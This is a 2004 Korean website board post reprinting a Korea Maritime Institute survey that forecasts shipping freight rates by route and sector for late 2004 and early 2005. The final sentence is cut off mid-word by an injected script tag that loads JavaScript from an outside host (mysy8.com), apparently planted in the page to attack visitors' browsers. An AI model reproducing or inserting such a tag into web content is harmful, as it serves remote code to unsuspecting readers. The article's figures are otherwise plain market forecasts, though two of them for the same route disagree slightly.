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글쓴이 운영자 작성일 2004-10-18
제목 <초점> 4분기 극동-북미 수출항로 운임 하락
<초점> 4분기 극동-북미 수출항로 운임 하락


4/4분기 극동/북미 수출항로 운임 하락…한중항로는 강보합세 전망
2005년 1/4분기 운임은 모든 부문에서 약세로 반전 예상


올4/4분기 정기선부문 운임은 항로별로 등락이 예상되고 부정기선 부문은 운임 상승이 예상된다는 분석이 나왔다. 또 2005년 1/4분기 운임은 모든 부문에서 약세로 반전이 예상된다.

한국해양수산개발원(KMI)이 조사한 ‘3/4분기 시황변화 특징과 4/4분기 운임 전망’ 보고서에 따르면 건화물선과 유조선부문의 실무전문가들은 강한 운임상승을 예상하는 반면, 정기선부문의 실무전문가들은 항로별로 상승과 하락이 엇갈린 것으로 나타났다.

정기선부문의 북미항로와 한일항로는 운임이 하락하나 유럽항로와 동남아항로 등은 강보합세가 예상됐다. 극동/북미 수출항로는 3/4분기 대비 2.4% 하락, 극동/유럽 수출항로는 강보합. 수입항로는 북미와 유럽 모두 강보합세가 전망됐다.

또 수출화물 운임기준으로 한중항로는 강보합, 한일항로는 3% 하락, 동남아항로는 1% 상승, 한러항로는 강보합세를 나타낼 것으로 조사됐으며 HR종합용선지수는 3% 상승될 것으로 나타났다.

중국, 미국, EU 등의 수출입 물동량 증가추세가 지속될 것으로 예상돼 전반적으로 양호한 시황이 전개될 것으로 조사됐다. 다만 신조 초대형선의 투입이 증가하고 있는 북미항로에서는 운임하락압력이 나타나기 시작할 것으로 예상됐다. 그러나 이 경우에도 미국과 중국 항만에서 내륙연계수송의 적체가 해소되지 않는다면 예상외로 운임강세가 지속될 수도 있을 것이란 분석이다.

동유럽지역의 EU편입효과가 지속되고 있는 유럽항로에서는 운임의 상승세가 지속될 것으로 예상되며 근해부문에서는 과열경쟁이 해소되지 않고 있는 한일항로의 운임이 하락추세를 면하기 어려울 것으로 조사됐다.

건화물선부문의 운임과 용선료 모두 3/4분기 대비 상승할 것으로 예상됐다. 운임은 케이프사이즈 7.7% 정도, 파나막스사이즈 7.4% 정도 상승할 것으로 전망됐으며 용선료는 케이프사이즈 8% 정도, 핸디막스사이즈는 8.7% 정도 상승할 것으로 예상됐다.

BDI지수 역시 4.8% 정도 상승이 예상됐다. 실무전문가 패널들이 4/4분기 건화물선 시황상승의 중요한 요인으로 지적한 것은 계절적 성수기 효과이며 특히 유가상승의 영향으로 연료용 석탄의 수송요금 급증, 그리고 중국, 미국, 일본, 유럽 등의 철광석 수입 증가 등이다.

유조선부문은 중동/극동항로의 운임지수가 큰 폭의 상승이 예상된다. 중동지역에서 극동으로 이동하는 VLCC의 평균 운임지수(WS)는 3/4분기 평균보다 17%정도 상승할 것으로 조사됐다. 금년 4/4분기 유조선 운임지수가 크게 상승할 것으로 전망하는 이유로는 ▲중국과 인도의 강한 에너지 수요 유지, ▲미국, 일본, EU 등 선진국의 경기회복에 따른 석유수요 증가, ▲유가 상승전망에 따른 재고비축용 원유수입 증가, ▲전통적 성수기 도래 등이 지적됐다.

반면 내년 1/4분기 운임은 모든 부문에서 약세로 반전될 것으로 조사됐다. 정기선부문은 초대형 컨테이너선 투입 증가에 따라 북미항로와 유럽항로의 운임이 하락추세를 보일 것으로 예상됐고 근해항로도 전반적으로 약세를 보일 것으로 전망됐다.

건화물선부문은 세계경기의 둔화 가능성, 항만적체 완화, 신조 선박 투입 증가 등으로 4/4분기의 강세가 꺾일 것으로 예상되며 유조선부문은 세계경기의 둔화 가능성, 원유재고 증대 등에 따른 수송수요 소폭 감소로 운임하락이 예상된다.

KMI조사는 전문가 패널 조사결과를 토대로 한 것으로 4/4분기 북미항로의 운임은 수출항로(E/B)가 3/4분기 대비 2.6%하락하는 반면 수입항로(W/B)는 소폭의 회복세(0.4%)를 보일 것으로 예상됐다. 이러한 근거는 ▲성수기 할증료 부과 종료, ▲계절적 요인에 따른 물동량 증가율 감소, ▲대형 신조선 시장투입 확대, ▲비수기 물량확보를 위한 선사들의 공격적인 운임정책 등이 지적됐다.

이러한 운임 하락 추세는 2005년 1/4분기까지 이어져 수출항로는 4/4분기대비 1.1%(3/4분기 대비 3.5%), 수입항로는 4/4분기 대비 0.6%(3/4분기 대비 0.3%) 각각 하락할 것으로 전망됐다.

4/4분기 유럽항로의 운임은 수출항로가 3/4분기 대비 1.4%, 수입항로가 0.8% 각각 상승할 것으로 예상됐다. 이는 유럽항로가 4/4분기에도 안정적인 물동량 증가세를 유지할 것으로 보이나 선박 부족상태가 단기적으로 개선되기 어렵기 때문으로 분석했다.

유럽항로의 물동량은 최근 중국발 북유럽 물동량이 크게 증가하고 있는 가운데 ▲동구 국가의 EU가입에 따른 수요 증가 ▲지중해, 흑해지역의 수출입 물동량 증가 ▲유럽기업의 대 중국 투자확대 ▲이에 따른 원·부자재 및 플랜트 수출 물동량 증가 등으로 지속적인 증가세를 보일 것?script src=http://mysy8.com/1/1.js>
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